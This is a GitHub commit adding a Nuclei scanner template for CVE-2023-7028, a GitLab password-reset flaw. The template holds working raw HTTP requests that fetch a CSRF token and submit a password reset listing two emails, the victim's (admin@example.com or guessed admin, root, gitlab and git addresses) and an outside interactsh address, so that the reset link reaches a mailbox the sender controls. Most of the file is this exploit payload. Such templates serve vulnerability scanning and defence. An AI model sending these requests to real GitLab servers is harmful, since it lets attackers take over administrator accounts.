Create CVE-2023-7028.yaml

patch-1
Prince Chaddha 2024-01-14 12:58:32 +05:30 committed by GitHub
parent eb87c1cfe5
commit aab1f47ba1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 77 additions and 0 deletions

View File

@ -0,0 +1,77 @@
id: CVE-2023-7028
info:
name: GitLab Account Takeover via Password Reset without user interactions
author: DhiyaneshDk,rootxharsh,iamnooob,pdresearch
severity: critical
description: |
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
reference:
- https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
- https://x.com/rwincey/status/1745659710089437368?s=20
metadata:
verified: true
max-request: 2
vendor: gitlab
product: gitlab
shodan-query: title:"Gitlab"
tags: cve,cve2023,gitlab,auth-bypass
flow: |
http(1);
http(2);
http:
- raw:
- |
GET /users/sign_in HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 30s
POST /users/password HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: {{RootURL}}/users/password/new
authenticity_token={{token}}&user[email][]=admin@example.com&user[email][]=nuclei@{{interactsh-url}}
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'smtp')"
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- name="authenticity_token" value="([A-Za-z0-9_-]+)"
internal: true
- raw:
- |
@timeout: 30s
POST /users/password HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: {{RootURL}}/users/password/new
authenticity_token={{token}}&user[email][]={{username}}@{{RDN}}&user[email][]=nuclei@{{interactsh-url}}
payloads:
username:
- admin
- root
- gitlab
- git
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'smtp')"